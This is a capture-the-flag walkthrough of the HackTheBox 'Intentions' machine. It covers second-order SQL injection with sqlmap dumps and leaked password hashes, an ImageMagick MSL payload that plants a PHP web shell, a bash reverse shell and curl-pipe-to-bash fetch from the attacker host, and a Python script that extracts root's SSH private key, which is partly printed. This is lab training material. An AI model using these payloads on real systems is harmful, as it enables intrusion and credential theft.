In this walk through, we will be going through the Intentions room from HackTheBox. This room is rated as Hard on the platform and it consists of exploitation by second-order SQL Injection, followed by abusing an API end point to get admin access on the website which is vulnerable to RCE and thus provide the initial access. For privilege escalation, a custom binary’s extended capabilities was abused to get root. So, let’s get started without any delay.

Table of Contents
Machine Info:
Title | Intentions |
IPaddress | 10.10.11.220 |
Difficulty | Hard |
OS | Linux |
Description | Intentions in a hard difficulty Linux machine which requires initial foothold via second order sql injection and abusing an API endpoint to get initial access to a website which is vulnerable to a remote code execution. For privilege escalation, a custom binary’s extended capabilities was abused to get root. |
Enumeration:
- I started with an aggressive nmap scan and found two ports opened – 22 (SSH) and 80 (HTTP).
$ sudo nmap -A 10.10.11.220 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-16 11:54 IST Nmap scan report for 10.10.11.220 Host is up (0.20s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 53/tcp filtered domain 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Intentions No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=12/16%OT=22%CT=1%CU=32914%PV=Y%DS=2%DC=T%G=Y%TM=657D42 OS:A5%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F= OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z% OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C OS:D=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 196.25 ms 10.10.14.1 2 196.40 ms 10.10.11.220 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.90 seconds

- Enumerated the web server running on port 80 and found a Login and Registration panel for the application.


- Fired, gobuster on the application and found a bunch of directories but we were unable to access any of them directly without authentication.
gobuster dir -u http://10.10.11.220/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

- I registered as a user with the registration panel and logged in with the created user account.

- It took me to a user portal for our user where we can see the images in the gallery related to the user’s favourite genres and same with the feed. The profile section has the genres listed there with food,travel and nature as default.


- I intercepted the request that is being sent while updating the user’s favourite genres and it seems like the request is being sent to an API endpoint to update it in the application.

- I tried sqlmap on it to see if we can perform any SQL injection here but it failed.

- Next, i looked into the user feed option in the application. Upon intercepting the request, i see a GET request to the /user/feed endpoint in order to retrieve feed image information in JSON.


Performing SQL Injection
- The think to notice here is that, whatever changes we made in the /user/genres endpoint that is being reflected to the /user/feed endpoint. I tried a manual SQL injection payload in the /user/genres/ endpoint the genres parameter and got a success status.
{"genres":"')/**/UNION/**/SELECT/**/1,@@version,3,4,5#" }


- Next, i retrieve the records using /user/feed endpoint and i got my result back. That means, we have a Second order SQL injection vulnerability here.


- I saved the request for the endpoints in two separate files – genrer_request.txt and feed_request.txt


- Next, used the below sqlmap command to enumerate the database names. Found one – Intentions.
sqlmap -r genre_request.txt --second-req feed_request.txt --threads 10 --level 3 --risk 3 --batch --dbs --tamper=space2comment

- Dumped the table names in Intentions DB. Found an interesting one – users.
sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions --tables --threads 10 --level 3 --risk 3 --tamper=space2comment

- Dumped the column names in table users. Found some juicy ones – admin, email, password.
sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions -T users --columns --threads 10 --level 3 --risk 3 --tamper=space2comment

- At last, dumped the contents of the columns – admin, email and password. Found the bcrypt encrypted password for all the users including two admins – steve and greg.
sqlmap -r genre_request.txt --second-req feed_request.txt -D intentions -T users -C admin,email,password --dump --threads 10 --level 3 --risk 3 --tamper=space2comment

admin | email | password | +---------+-------------------------------+--------------------------------------------------------------+ | 1 | [email protected] | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa | | 1 | [email protected] | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m | | 0 | [email protected] | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 | | 0 | [email protected] | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 | | 0 | [email protected] | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae | | 0 | [email protected] | $2y$10$oKGH6f8KdEblk6hzkqa2meqyDeiy5gOSSfMeygzoFJ9d1eqgiD2rW | | 0 | [email protected] | $2y$10$pAMvp3xPODhnm38lnbwPYuZN0B/0nnHyTSMf1pbEoz6Ghjq.ecA7. | | 0 | [email protected] | $2y$10$.VfxnlYhad5YPvanmSt3L.5tGaTa4/dXv1jnfBVCpaR2h.SDDioy2 | | 0 | [email protected] | $2y$10$UD1HYmPNuqsWXwhyXSW2d.CawOv1C8QZknUBRgg3/Kx82hjqbJFMO | | 0 | [email protected] | $2y$10$4nxh9pJV0HmqEdq9sKRjKuHshmloVH1eH0mSBMzfzx/kpO/XcKw1m | | 0 | [email protected] | $2y$10$by.sn.tdh2V1swiDijAZpe1bUpfQr6ZjNUIkug8LSdR2ZVdS9bR7W | | 0 | [email protected] | $2y$10$9Yf1zb0jwxqeSnzS9CymsevVGLWIDYI4fQRF5704bMN8Vd4vkvvHi | | 0 | [email protected] | $2y$10$UnvH8xiHiZa.wryeO1O5IuARzkwbFogWqE7x74O1we9HYspsv9b2. | | 0 | [email protected] | $2y$10$yUpaabSbUpbfNIDzvXUrn.1O8I6LbxuK63GqzrWOyEt8DRd0ljyKS | | 0 | [email protected] | $2y$10$01SOJhuW9WzULsWQHspsde3vVKt6VwNADSWY45Ji33lKn7sSvIxIm | | 0 | [email protected] | $2y$10$I7I4W5pfcLwu3O/wJwAeJ.xqukO924Tx6WHz1am.PtEXFiFhZUd9S | | 0 | [email protected] | $2y$10$0fkHzVJ7paAx0rYErFAtA.2MpKY/ny1.kp/qFzU22t0aBNJHEMkg2 | | 0 | [email protected] | $2y$10$p.QL52DVRRHvSM121QCIFOJnAHuVPG5gJDB/N2/lf76YTn1FQGiya | | 0 | [email protected] | $2y$10$GDyg.hs4VqBhGlCBFb5dDO6Y0bwb87CPmgFLubYEdHLDXZVyn3lUW | | 0 | [email protected] | $2y$10$Gy9v3MDkk5cWO40.H6sJ5uwYJCAlzxf/OhpXbkklsHoLdA8aVt3Ei | | 0 | [email protected] | $2y$10$/2wLaoWygrWELes242Cq6Ol3UUx5MmZ31Eqq91Kgm2O8S.39cv9L2 | | 0 | [email protected] | $2y$10$k/yUU3iPYEvQRBetaF6GpuxAwapReAPUU8Kd1C0Iygu.JQ/Cllvgy | | 0 | [email protected] | $2y$10$0aYgz4DMuXe1gm5/aT.gTe0kgiEKO1xf/7ank4EW1s6ISt1Khs8Ma | | 0 | [email protected] | $2y$10$iGDL/XqpsqG.uu875Sp2XOaczC6A3GfO5eOz1kL1k5GMVZMipZPpa | | 0 | [email protected] | $2y$10$stXFuM4ct/eKhUfu09JCVOXCTOQLhDQ4CFjlIstypyRUGazqmNpCa | | 0 | [email protected] | $2y$10$NDW.r.M5zfl8yDT6rJTcjemJb0YzrJ6gl6tN.iohUugld3EZQZkQy | | 0 | [email protected] | $2y$10$S5pjACbhVo9SGO4Be8hQY.Rn87sg10BTQErH3tChanxipQOe9l7Ou | | 0 | [email protected] | $2y$10$/orAI8e7iKvoAsbjYytZMOSt0Gwe6xHRE/R5dbBf/CaNGRfmD9T1i | | 0 | [email protected] | $2y$10$rC7bLvvWYK5XZsNR9dgWHO8sixwhpu4Jlo0lXTCZcHvX3KplsWWGG
Discovering API V2 endpoint
- Earlier in our gobuster results, we found a directory named js. Performed a directory bruteforcing again on the target directory and found an interesting file named admin.js
feroxbuster -u http://10.10.11.220/js/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories.txt -x js

- Peeked inside the admin file and found a lot of javascript gibberish. Scrolled down to the bottom and found a note which reveals an API V2 endpoint used to authenticate user with password hash.

- I intercepted the request of the login panel in the front page. Changed the API version from V1 to V2 and in the data section, used the user steve’s email address and changed the password parameter to hash and provided steve’s hash respectively. Forwarding the request gives us a “success”.
[email protected]: $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa


- Refreshed the page and got in as Steve.

- Now moved to the /admin directory found earlier.
http://10.10.11.220/admin#/

- Looked into the images tab where all the image URLs were stored along with a edit button. The edit button only has some filter that could be applied to the image.


- I intercept the request using Burpsuite and it seems like the modify request and image data is being converted to base64 by the application.


Initial Access:
- After lots of trial and error, found that the path variable is feeding the data to a Imagick constructor which is vulnerable to a RFI attack. I used the below payload in order to retrieve the contents of the /etc/passwd file.
{"path":"mvg:/etc/passwd[20x20+20+20]","effect":"charcoal"}


- Decoded the base64 encoded data and got the contents of /etc/passwd file confirming the vulnerability. Also perform a RFI test by pointing the path variable to my netcat listener and it got a hit.
$ echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9ub2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDoxMTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3RldmVuOng6MTAwMDoxMDAwOnN0ZXZlbjovaG9tZS9zdGV2ZW46L2Jpbi9iYXNoCmx4ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMTQ6MTE5Ok15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpmdHA6eDoxMTU6MTIxOmZ0cCBkYWVtb24sLCw6L3Nydi9mdHA6L3Vzci9zYmluL25vbG9naW4KZ3JlZzp4OjEwMDE6MTAwMTo6L2hvbWUvZ3JlZzovYmluL3NoCmxlZ2FsOng6MTAwMjoxMDAyOiwsLDovaG9tZS9sZWdhbDovYmluL2Jhc2gKX2xhdXJlbDp4Ojk5ODo5OTg6Oi92YXIvbG9nL2xhdXJlbDovYmluL2ZhbHNlCg==" | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin steven:x:1000:1000:steven:/home/steven:/bin/bash lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false ftp:x:115:121:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin greg:x:1001:1001::/home/greg:/bin/sh legal:x:1002:1002:,,,:/home/legal:/bin/bash _laurel:x:998:998::/var/log/laurel:/bin/false

- Next, we have to get a shell on the system. For that, i created a file named payload.msl with the following contents.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @passthru(@$_REQUEST['c']); ?>" /> <write filename="info:/var/www/html/intentions/storage/app/public/rce.php" /> </image>
curl 'http://10.10.11.220/api/v2/admin/image/modify' -X POST -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: application/json' -H 'X-XSRF-TOKEN: eyJ<SNIP>n0=' -H 'Origin: http://10.10.11.220' -H 'Connection: keep-alive' -H 'Referer: http://10.10.11.220/admin/' -H 'XSRF-TOKEN=eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IjhVbUQyR1crNlEzVU5tNDhYb2Jvcmc9PSIsInZhbHVlIjoiaHJoUHVidzJ3SXQxVEN0d3pMbUw4a2VqNnZWbklHZG1XREhFTkdLaDBqSmRUWTFMUWR5MjV3NUw5NTRBdHVPcnlvTzBGQzBHdTNKUjNDWnJCODlNTXkvc2U2bDhXOERiUE1PeTNEd1liTERMc0NpOGVVTU9yTGVoRGVtcmR0c0QiLCJtYWMiOiJmM2RiNjdkZTBjNmI4MzYyYWJmMzczYTQ3ZmYwODFiOWRiM2RkMjc0YjhhNTk2ODYzNWE1MjY2ZjNjM2I5MTlkIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzAyNzQ1ODYxLCJleHAiOjE3MDI3Njc0NjEsIm5iZiI6MTcwMjc0NTg2MSwianRpIjoidlh0R0pNSElqZE5KZmdZMSIsInN1YiI6IjIiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.UHG1tkoOfmEkv33UU83w7LsHwIfwvQpKubHvQOWlEOQ' --data-raw '{"path":"/var/www/html/intentions/storage/app/public/animals/jevgeni-fil- rz2Nh0U8vws-unsplash.jpg","effect":"charcoal"}
- Performed a POST request using curl and submitted the payload to the application.
curl 'http://10.10.11.220/api/v2/admin/image/modify' -X POST -H 'X-XSRF-TOKEN: eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0=' -H 'Cookie: XSRF-TOKEN=eyJpdiI6InhicnFiYTVUK29hVG9HQ3VDNmF3alE9PSIsInZhbHVlIjoidVVaNXc2N0h6bU45dU1IenViN3RyWVFoMUUyNEpja0Y3UXhlbnpUcjFGRFRJMUdCZUtYNWludGhJSEQ5WmtMVHZEQ0lsQnZXTXFER0FCRTJLR2ovOGtKYlJlTjQ5SXVhd21vbWswbExSeWd4OXJPM2ZJKzJXbWNJMERtckE2MVYiLCJtYWMiOiJkYjQ1ZWYwNDJjNWIzMDZlZjYyZTBlMDcxNjM4ZDY2NDE3MTQ0YTQwOGZjYWE1MTdiYjA4NWQ2NTUwOGI2Y2FiIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IjhVbUQyR1crNlEzVU5tNDhYb2Jvcmc9PSIsInZhbHVlIjoiaHJoUHVidzJ3SXQxVEN0d3pMbUw4a2VqNnZWbklHZG1XREhFTkdLaDBqSmRUWTFMUWR5MjV3NUw5NTRBdHVPcnlvTzBGQzBHdTNKUjNDWnJCODlNTXkvc2U2bDhXOERiUE1PeTNEd1liTERMc0NpOGVVTU9yTGVoRGVtcmR0c0QiLCJtYWMiOiJmM2RiNjdkZTBjNmI4MzYyYWJmMzczYTQ3ZmYwODFiOWRiM2RkMjc0YjhhNTk2ODYzNWE1MjY2ZjNjM2I5MTlkIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzAyNzQ1ODYxLCJleHAiOjE3MDI3Njc0NjEsIm5iZiI6MTcwMjc0NTg2MSwianRpIjoidlh0R0pNSElqZE5KZmdZMSIsInN1YiI6IjIiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.UHG1tkoOfmEkv33UU83w7LsHwIfwvQpKubHvQOWlEOQ' -F 'path=vid:msl:/tmp/php*' -F 'effect=asd' -F [email protected]

- Next, navigated to the below URL and now we have a pseudo web shell on the target.
http://10.10.11.220/storage/rce.php?c=whoami

- I created a file named shell with the below bash reverse shell and then used curl to call and executed the payload via bash which grants me a connection back at my netcat listener.
bash -i >& /dev/tcp/10.10.14.24/4444 0>&1
http://10.10.11.220/storage/rce.php?c=curl%20http://10.10.14.24:8000/shell|bash


Lateral Movement:
- Looked inside the working folder and found a .git directory. Tired to look inside it using git log but got hit by an error.
$ ls -la ls -la total 820 drwxr-xr-x 14 root root 4096 Feb 2 2023 . drwxr-xr-x 3 root root 4096 Feb 2 2023 .. -rw-r--r-- 1 root root 1068 Feb 2 2023 .env drwxr-xr-x 8 root root 4096 Feb 3 2023 .git -rw-r--r-- 1 root root 3958 Apr 12 2022 README.md drwxr-xr-x 7 root root 4096 Apr 12 2022 app -rwxr-xr-x 1 root root 1686 Apr 12 2022 artisan drwxr-xr-x 3 root root 4096 Apr 12 2022 bootstrap -rw-r--r-- 1 root root 1815 Jan 29 2023 composer.json -rw-r--r-- 1 root root 300400 Jan 29 2023 composer.lock drwxr-xr-x 2 root root 4096 Jan 29 2023 config drwxr-xr-x 5 root root 4096 Apr 12 2022 database -rw-r--r-- 1 root root 1629 Jan 29 2023 docker-compose.yml drwxr-xr-x 534 root root 20480 Jan 30 2023 node_modules -rw-r--r-- 1 root root 420902 Jan 30 2023 package-lock.json -rw-r--r-- 1 root root 891 Jan 30 2023 package.json -rw-r--r-- 1 root root 1139 Jan 29 2023 phpunit.xml drwxr-xr-x 5 www-data www-data 4096 Feb 3 2023 public drwxr-xr-x 7 root root 4096 Jan 29 2023 resources drwxr-xr-x 2 root root 4096 Jun 19 11:22 routes -rw-r--r-- 1 root root 569 Apr 12 2022 server.php drwxr-xr-x 5 www-data www-data 4096 Apr 12 2022 storage drwxr-xr-x 4 root root 4096 Apr 12 2022 tests drwxr-xr-x 45 root root 4096 Jan 29 2023 vendor -rw-r--r-- 1 root root 722 Feb 2 2023 webpack.mix.js www-data@intentions:~/html/intentions$ git log -p git log -p fatal: detected dubious ownership in repository at '/var/www/html/intentions' To add an exception for this directory, call: git config --global --add safe.directory /var/www/html/intention

- Next, added the directory and the command to our HOME environment variable and it worked.
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions HOME=/tmp git log -p

- Found the password of user Greg in one of the git commit.

- With the found password, changed user to Greg and captured the user flag.
Greg: Gr3g1sTh3B3stDev3l0per!1998!


Privilege Escalation:
- In the user greg directory, found two files – dmcat_hashes.test and dmca_check.sh


- The dmca_check.sh script is using a binary named scanner from the /opt/scanner directory it seems like the binary is running as sudo and performing some actions one uploads directory with the help of dmca_hashes.test file. Looking inside the binary reveals several different options.

- Next, checked the capabilities on to the system and found the scanner binary there with cap dac_read_search=ep capability set which can bypass file read permissions checks. That means, we can read sensitive file by abusing the capability.
getcap -r / 2>/dev/null

- The image gallery system is using the scanner binary to check for any copyright infringement using a list of hashes of blaclist images. This check is done at the byte by byte level with dmca_hashes.test file. What we can do here is that we can get the first byte of our file and match it to check if it is valid. We will repeat this process until we get the full file. I used the below python script to extract the contents of root’s id_rsa file.
#!/usr/bin/env python3 import hashlib import subprocess import sys def get_hash(fn, n): """Get the target hash for n length characters of filename fn""" proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: return proc.stdout.decode().strip().split()[-1] except IndexError: return None def get_next_char(output, target): """Take the current output and figure out what the next character will be given the target hash""" for i in range(256): if target == hashlib.md5(output + chr(i).encode()).hexdigest(): return chr(i).encode() output = b"" fn = sys.argv[1] while True: target = get_hash(fn, len(output) + 1) next_char = get_next_char(output, target) if next_char is None: break output += next_char print(next_char.decode(), end="")
python3 extract.py /root/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEA5yMuiPaWPr6P0GYiUi5EnqD8QOM9B7gm2lTHwlA7FMw95/wy8JW3 HqEMYrWSNpX2HqbvxnhOBCW/uwKMbFb4LPI+EzR6eHr5vG438EoeGmLFBvhge54WkTvQyd vk6xqxjypi3PivKnI2Gm+BWzcMi6kHI+NLDUVn7aNthBIg9OyIVwp7LXl3cgUrWM4StvYZ ZyGpITFR/1KjaCQjLDnshZO7OrM/PLWdyipq2yZtNoB57kvzbPRpXu7ANbM8wV3cyk/OZt 0LZdhfMuJsJsFLhZufADwPVRK1B0oMjcnljhUuVvYJtm8Ig/8fC9ZEcycF69E+nBAiDuUm kDAhdj0ilD63EbLof4rQmBuYUQPy/KMUwGujCUBQKw3bXdOMs/jq6n8bK7ERcHIEx6uTdw gE6WlJQhgAp6hT7CiINq34Z2CFd9t2x1o24+JOAQj9JCubRa1fOMFs8OqEBiGQHmOIjmUj 7x17Ygwfhs4O8AQDvjhizWop/7Njg7Xm7ouxzoXdAAAFiJKKGvOSihrzAAAAB3NzaC1yc2 EAAAGBAOcjLoj2lj6+j9BmIlIuRJ6g/EDjPQe4JtpUx8JQOxTMPef8MvCVtx6hDGK1kjaV 9h6m78Z4TgQlv7sCjGxW+CzyPhM0enh6+bxuN/BKHhpixQb4YHueFpE70Mnb5OsasY8qYt z4rypyNhpvgVs3DIupByPjSw1FZ+2jbYQSIPTsiFcKey15d3IFK1jOErb2GWchqSExUf9S o2gkIyw57IWTuzqzPzy1ncoqatsmbTaAee5L82z0aV7uwDWzPMFd3MpPzmbdC2XYXzLibC bBS4WbnwA8D1UStQdKDI3J5Y4VLlb2CbZvCIP/HwvWRHMnBevRPpwQIg7lJpAwIXY9IpQ+ txGy6H+K0JgbmFED8vyjFMBrowlAUCsN213TjLP46up/GyuxEXByBMerk3cIBOlpSUIYAK 